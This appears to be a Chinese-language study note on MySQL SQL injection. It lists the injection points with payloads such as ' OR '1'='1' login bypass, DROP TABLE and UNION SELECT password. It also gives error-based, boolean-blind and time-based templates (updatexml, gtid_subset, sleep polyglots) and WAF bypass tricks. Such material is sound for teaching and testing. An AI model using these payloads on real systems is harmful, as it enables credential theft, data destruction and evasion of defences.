q

基础复习

IFORMATION_SCHEMA数据库

information_schema.tables 存储了所有存在数据库名数据库表表字段,其中,关键的三个表为:

1
2
3
4
5
6
7
8
9
information_schema.tables:    #该数据表存储了mysql数据库中的所有数据表的表名
关键字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
关键字段:TABLE_NAME ->存储表的表名
information_schema.columns: #该数据表存储了mysql数据库中的所有列的列名 ‘
关键字段:TABLE_SCHEMA ->该字段所属数据库名
关键字段:TABLE_NAME ->存储所属表的名称
关键字段:COLUMN_NAME ->该字段的名称
information_schema.schemata: #该数据表存储了mysql数据库中的所有数据库的库名
关键字段:SCHEMA_NAME ->数据库名称

示例:

1
2
3
查询所有数据库:select schema_name from information_schema.schemata;
查询当前数据库下的所有表:select table_name from information_schema.tables where table_schema=database();
查询指定库下的指定表下的列:select table_schema,column_name,table_name from information_schema.columns where table_name='users' and table_schema='dvwa';

常用函数

数据库信息

1
2
database()   数据库名称
schema() 数据库名称

数据库版本信息

1
2
3
VERSION()  数据库版本信息
@@VERSION 数据库版本信息(系统变量)
@@GLOBAL.VERSION 数据库版本信息(系统变量)

数据库用户信息

1
2
3
4
user() 系统用户和登录主机名
current_user() 当前登录用户和登录主机名
system_user() 数据库系统用户账户名称和登录主机名
session_user() 当前会话用户名和登录主机名

服务器主机信息

1
2
3
@@HOSTNAME 主机名称
@@datadir 数据库路径
@@version_compile_os 操作系统版本

服务器其他信息

1
2
3
4
load_file('filepath'):读取本地文件
@@datadir:读取数据库路径
@@basedir:mysql安装路径
@@version_complie_os:查看操作系统

密码相关信息

加密方式:

  • MySQL 4.1 及之前使用 MYSQL323 加密(16 位哈希)。
  • MySQL 4.1 到 5.7 使用 mysql_native_password(SHA-1 哈希,41 位字符串,带 * 号)。
  • MySQL 8.0 默认使用 caching_sha2_password(SHA-256 哈希),同时支持

当MySQL<8.0时,是用 password() 函数对密码加密。当MySQL>8.0时,MySQL取消了 password() 函数。

密码存储位置:

当MySQL<5.7,密码字段在mysql数据库的user表的password字段里

1
select user,password from mysql.user;

当MySQL>=5.7,密码字段在mysql数据库的user表的authentication_string字段里

1
select user,authentication_string from user;

sql常见出现点

1. 用户登录表单

  • 场景:登录页面的用户名/密码输入框

  • 注入点:

    1
    ' OR '1'='1' -- 

    使查询恒真,绕过身份验证:

    1
    2
    SELECT * FROM users WHERE username = '[input]' AND password = '[input]'
    SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = '任意值'

2. 搜索框

  • 场景:商品搜索、内容检索

  • 注入点:

    1
    '; DROP TABLE users; -- 

    拼接后执行破坏性操作:

    1
    2
    SELECT * FROM products WHERE name LIKE '%[input]%'
    SELECT * FROM products WHERE name LIKE '%'; DROP TABLE users; -- %'

3. URL参数(GET请求)

  • 场景:分页、详情页ID(如 product?id=123

  • 注入点:

    1
    https://example.com/product?id=1' UNION SELECT password FROM users --

    窃取敏感数据:

    1
    2
    SELECT * FROM products WHERE id = [input]
    SELECT * FROM products WHERE id = 1' UNION SELECT password FROM users --

4. HTTP头部字段

  • 场景:

    • Cookie(如会话ID)
    • User-Agent(浏览器标识)
    • X-Forwarded-For(客户端IP)
  • 注入点:

    伪造恶意头部:

    1
    User-Agent: '; SELECT * FROM credit_cards --

    若后端记录日志时拼接SQL:

    1
    INSERT INTO logs (user_agent) VALUES ('[input]')

5. 排序参数(ORDER BY)

  • 场景:表格排序(如 ?sort=price

  • 注入点:

    1
    ?sort=(CASE WHEN (SELECT password FROM users WHERE id=1)='admin' THEN price ELSE name END)

    通过条件判断盲注探测数据:

    1
    SELECT * FROM products ORDER BY [input]

6. 注册/更新表单

  • 场景:

    • 用户注册(邮箱、用户名)
    • 个人资料更新(地址、电话)
  • 注入点:

    在邮箱字段注入:

    1
    '; UPDATE users SET is_admin=1 WHERE id=1001; -- 

    篡改权限:

    1
    2
    INSERT INTO users (email) VALUES ('[input]')
    → INSERT INTO users (email) VALUES (''; UPDATE users SET is_admin=1 WHERE id=1001; -- ')

7. 隐藏表单字段

  • 场景
    HTML中隐藏的<input type="hidden">(如用户ID、价格)

  • 注入点:

    篡改隐藏字段值:

    1
    <input name="user_id" value="1' OR '1'='1" type="hidden">

    影响查询逻辑:

    1
    UPDATE orders SET status='paid' WHERE user_id = [input]

8. API请求参数(JSON/XML)

  • 场景
    RESTful API接口(如提交JSON数据)

  • 注入点:

    恶意JSON内容:

    1
    { "username": "admin'-- ", "password": "any" }

    若后端直接拼接:

    1
    SELECT * FROM users WHERE username = 'admin'-- ' AND password = 'any'

    常见注入方法

借助页面回显

基本步骤:

1.判断注入类型

2.判断字段数

3.爆显示位

4.查库名,表名,列名…

页面无回显

报错注入

使用前提:Web 应用程序未关闭数据库报错函数,对于一些 SQL 语句的错误直接回显在页面上(注意不是代码的报错,代码的报错一般没什么有用信息)

XPath语法错误

updatexml‌函数的基本语法:
1
updatexml(xml_document, XPath_string, new_value)

其中,xml_document是XML文档对象,XPath_string是Xpath路径表达式,new_value是更新后的内容。在报错注入中,我们通常将第一个和第三个参数设置为任意值,重点是通过第二个参数注入不符合Xpath语法的表达式,从而引起数据库报错,并通过错误信息获取数据。

回显错误点:
当 XPath_string 非法时,会报如下错误,并显示具体数据

1
XPATH syntax error: '<payload>'

模板:

1
updatexml(1,concat(0x1,查询语句),1)
extractvalue函数:

extractvalue(xml_frag, xpath_expr)
其中,xml_frag是XML片段,xpath_expr是Xpath表达式。在报错注入中,通过提供一个无效的Xpath表达式,导致函数报错,从而获取数据。

模板:

1
extractvalue(1,concat(0x1,查询语句))

GTID集格式报错

gtid_subset函数

使用要求mysql>= 5.6

功能:gtid_subset函数用于判断 GTID 集合 set1 是否为 set2 的子集。

1
gtid_subset(set1, set2)

当输入的 GTID 集合格式不合法时,MySQL 会抛出错误

1
ERROR 1772 (HY000): Malformed GTID set specification 'xxx'

模板:

1
gtid_subset((查询语句), '1');
GTID_SUBTRACT()

功能:计算两个 GTID 集合的差集

模板:

1
gtid_subtract((查询语句), '1');

rand函数导致主键重复报错(floor双查询)

原理见less4

模板:

1
select count(*),concat((查询语句),floor(rand(0)*2))x from information_schema.tables group by x

UUID主键报错

UUID_TO_BIN

使用要求:

MySQL >= 5.7.6

1
UUID_TO_BIN(uuid_str[, swap_flag])

UUID_TO_BIN 函数用于将 UUID 字符串转换为二进制格式

uuid_str 为合法的 UUID 字符串;
swap_flag(可选)为布尔值,用于指定是否转换时间戳顺序。

当输入参数格式非法时,MySQL 会抛出错误

模板:

1
UUID_TO_BIN(查询语句);
BIN_TO_UUID

使用要求:MySQL ≥ 8.0.0

1
BIN_TO_UUID(binary_uuid[, swap_flag])

模板:

1
BIN_TO_UUID(查询语句);

使用示例

查询

1.若后端存在:

1
select * from data where title like '%可控%';

可以插入'-gtid_subtract(user(),1)-'

1
select * from data where title like '%'-gtid_subtract(user(),1)-'%';

减号在这里的作用是运算符,同时也用于结束字符串的上下文,进入表达式运算的上下文,从而让**gtid_subtract(user(),1)**被执行

插入
1
INSERT INTO users (id, name, age, email) VALUES (1, '可控点', 30, 'zhangsan@example.com');

同样使用之前的

1
INSERT INTO users (id, name, age, email) VALUES (1, ''-gtid_subtract(user(),1)-'', 30, 'zhangsan@example.com');

布尔盲注

适用于无回显,无报错,只有返回正确的错误页面的情况。

condition

我们在盲注中首先就要找到condition,这个condition控制着页面true和false的回显

注入方法

我们主要通过截取某个数据的字符然后根据返回的页面来判断对错。

截取常用函数
substr
1
substr(要截取的字符串,从哪一位开始截取,截取多长)
mid

功能与substr类似,不过只能在mysql中用。

表示截取字符串的右面几位

right(截取的字符串,截取长度)

ascii(right(所截取字符串, x))会返回从右往左数的第x位的ASCII码

left()

类似right截取左边几位

ascii(reverse(left(所截取字符串, x)))会返回从左往右数的第x位的ASCII码

regexp
1
binary 目标字符串 regexp 正则

直接字符串 regexp 正则表达式是大小写不敏感的,需要大小写敏感需要加上binary关键字

举例

1
2
3
select 'a' regexp 'A'; 结果为1
select binary 'a' regexp 'A';结果为0
select 'a' regexp binary 'A';结果为0
rlike

类似regexp

比较函数
BETWEEN

用法:expr BETWEEN 下界 AND 上界;

这里的上下界可以相等,x between i and i就是表示x是否等于i的意思.

IN
1
expr1 in (expr1, expr2, expr3)

有点像数学中的元素是否属于一个集合。同样也是大小写不敏感的,为了大小写敏感需要用binary关键字。

减法运算

在盲注中,可以用一个true去与运算一个ASCII码减去一个数字,如果返回0则说明减去的数字就是所判断的ASCII码:

1
select 1 and ascii('a')-97;   //如果结果为0说明这位字符是chr(97)
异或注入

异或更多应用在不能使用注释符的情况下

如果SQL语句为SELECT xx FROM yy WHERE zz = '$your_input';因为用户的输入后面还有一个单引号,很多时候我们使用#或者–直接注释掉了这个单引号,但是如果注释符被过滤了,那么这个单引号就必须作为SQL语句的一部分

例:

1
WHERE zz = 'xx' or '1'^(condition)^'1';
CASE
1
2
CASE WHEN (表达式) THEN exp1 ELSE exp2 END; # 表示如果表达式为真则返回exp1,否则返回exp2
CASE 啥 WHEN 啥啥 THEN exp1 ELSE exp2 END; # 表示如果(啥=啥啥)则返回exp1,否则返回exp2

例:

1
SELECT CASE 'a' WHEN 'a' THEN 1 ELSE 0 END;  
IF
1
IF(表达式, exp1, exp2);  # 表示如果表达式为真则返回exp1,否则返回exp2
ELT

如果IF跟CASE被ban了可以使用elt函数代替。

1
ELT(N, str1, str2, str3, ..., strN)

N 的值对应于这些字符串的索引

通常的 ELT 用法:

1
SELECT ELT(condition, 'true_value', 'false_value');

笛卡尔积延时注入

见之前的博客。

布尔报错盲注

在某些情况下的布尔盲注可能没办法通过页面上本身的数据来构造true跟false两种状态,怎么样构造条件响应内容都一样,可以使用一些特性或函数当执行时会触发数据库报错来构造true跟false

简单的poc

1
2
if( condition, 报错, 不报错);
case when (condition) then 报错 else 不报错 end;

数据溢出报错

exp()

用于计算e的x次方的函数,由于数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错。

cot()

余切三角函数

1
2
cot(0);//报错
cot(1);//不报错
Pow()

POW(x, y)求x的y次方

1
2
pow(1,999999);//正常
pow(2,999999);//报错
~

使⽤~符号后,当前⾯⼀个数字小于后⾯⼀个数字的时候,就会触发溢出导致报错。

例如:

1
2
admin'|| ~2+2 | '1 不报错
admin'|| ~1+2 | '1 报错

溢出报错的使用

逻辑运算

在逻辑运算中会返回true跟false,在mysql里面如果这两个参与运算true为1false为0,根据这个特性我们构造出如下的poc来判断用户名长度是否大于7。

1
2
3
4
5
6
(length(user())==14
exp(710-(length(user())>7))
=exp(710-(14>7))
=exp(710-(true))
=exp(710-1)
=exp(709)

也可以这样,如果条件满足返回的是1 就会出发报错。

~

1
SELECT ~0+(condition);
算术运算

上面提到了通过逻辑运算来减去0 1,当然也可以减去正常函数的返回值,比如710减去length(user()),假设用户名长度为14 那么运算后710-14=696不满足报错条件,通过调整前面的的值 710、711…724当到临界点的时候比如724-14=710刚好报错,通过724-710=14即可得到具体14位数poc如下所示。

1
2
3
4
(length(user())==14
exp(724-length(user()))
=exp(724-14)
=exp(710)

函数报错构造

updataxml

updatexml(1,if(1=1,1,0x1),1)

rlike

0x28 是十六进制,对应 ASCII 字符 (。若直接将其作为正则表达式(如 RLIKE 0x28),等效于 RLIKE (,此时正则表达式因未闭合括号而非法。
例如这个例子就会导致报错。

1
select (1 rlike 0x28);

通过配合if 就可以构造出true 跟 false。

1
select (1 rlike if(条件,1,0x28));
regexp

regexp跟rlike同理

1
select (1 regexp if(条件,1,0x28));

布尔延时注入

布尔延时盲注利用了数据库的延迟响应来推断信息。在某些情况下的布尔盲注可能没办法通过页面上本身的数据来构造true跟false两种状态,怎么样构造条件响应内容都一样或者页面根本没有任何响应信息,此时可以通过构造SQL语句来强制数据库在满足特定条件时延时响应

主要延时函数

sleep()
1
SLEEP(seconds);
  • seconds:表示暂停的时间,单位是秒。这个值可以是整数,也可以是浮动的小数。例如,SLEEP(5) 会让查询暂停 5 秒钟,而 SLEEP(0.5) 会让查询暂停 0.5 秒钟。

如果使用 SLEEP() 函数返回多条记录,每条记录都会独立地暂停指定的时间。这是因为 SLEEP() 是在每一行的执行过程中被调用的,因此如果查询返回多条记录,每条记录都会独立地调用 SLEEP(),并且每个调用都会导致查询暂停。

例如下面这个例子,查询一共会返回三条记录,这里就算是延时一秒最终是 1秒 × 3条记录 = 3秒

1
SELECT * FROM `sqli_data` WHERE 1=1 and sleep(1)

我们还能这样写

1
(select*from(select+sleep(1))a)

现在解析一下这个poc,这个是利用子查询来达到只返回一条,这样子不管查询返回几条,在子查询里面只有一条也只会延时一次。

外层的查询 select * from (...) 表示从一个子查询中获取所有字段。
子查询部分是 select sleep(1),调用数据库的 sleep() 函数。
最后面的a是别名的缩写,不缩写的话是这样写as a,在mysql内子查询必须要一个别名;

拿这个poc去试试看刚才那个例子,可以看到这次只延时了一秒。

benchmark

BENCHMARK函数用于重复执行某表达式,语法:

复制

1
BENCHMARK(count, expression)
  • count:执行 expression 的次数。
  • expression:要执行的 SQL 表达式,通常是一个查询、计算或者某些函数调用。

比如这里执行10000000sha(1)的时间就可以造成延时,如果不延时不明显可以这样sha1(sha1(sha1(sha1())))多套几层,来增加延时时间。

1
SELECT benchmark( 10000000, sha1( 'test' ));
正则表达式

原理是通过大量的正则匹配实现延时,与benchmark和前面说的heavy query本质相似。

例如:

1
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

通用poc

从网络上看到了一个poc可以同时测试 数字 单引号 双引号下的延时注入,语句如下。

1
-延时语句1/*'XOR(延时语句2)OR'"XOR(延时语句3))OR"*/

构造一下如下:

1
-(select*from(select sleep(1))a)/*'XOR((select*from(select sleep(1))a))OR'"XOR((select*from(select sleep(1))a)))OR"*/

可以简单分析一下,先从数值型注入开始,通过高亮也可以看出来,如果是数值型的话,后面那部分内容就会/* 注释不生效。

1
SELECT * FROM `sqli_data` WHERE 1-延时语句/*'XOR(延时语句)OR'"XOR(延时语句))OR"*/

单引号延时语句1等内容都在单引号前所以不会执行,只会执行延时语句2延时语句3部分在这里是字符串。

1
SELECT * FROM `sqli_data` WHERE '1-延时语句1/*'XOR(延时语句2)OR'"XOR(延时语句3))OR"*/'

2025-05-26_191410_0657750.5417102377104426

双引号时,情况如单引号差不多。

2025-05-26_191629_2573240.7998717494623743

常见waf绕过

空格被过滤

emoji

如果空格被过滤可以把空格换成%23emoji%0a

例如

1
2
union select
union%23😀😀%0aselect

–%0a与%00

–%0a代替空格,但两个连用不行,这时在前面用一个%00并url编码,原理是waf把空字节认为是结束导致了后面的语句可以绕过

关键字被过滤

全局替换绕过

绕过方法是在关键字中穿插<>,因为会先判断是否存在sql注入关键字然后进行全局关键字替换<>来防止xss漏洞

例如

1
2
union select
un<>ion sel<>ect

脏数据绕过

脏数据绕过利用了 WAF/过滤层 与 数据库引擎 在对“异常”输入数据解析逻辑上的差异。攻击者精心构造看似混乱、非法、超出预期的输入(脏数据),目的在于干扰或欺骗前端的防御机制,使其无法正确识别隐藏其中的恶意 SQL 片段,而数据库在最终执行时却能按照攻击者的意图解析这些片段

例如

这里是updataxml关键字给过滤了

图片1

伪注释绕过

1
2
3
Id=注入语句

A=/*&Id=注入语句&b=*/

WAF不会识别/**/注释中的内容

PHP (或其他后端语言) 在处理请求时,会将整个查询字符串 A=/*&Id=1 UNION SELECT username,password FROM users&b=*/ 中的各个值提取出来。

应用逻辑按照设计,只关心真正需要的参数 Id,而忽略无关参数(如 Ab)。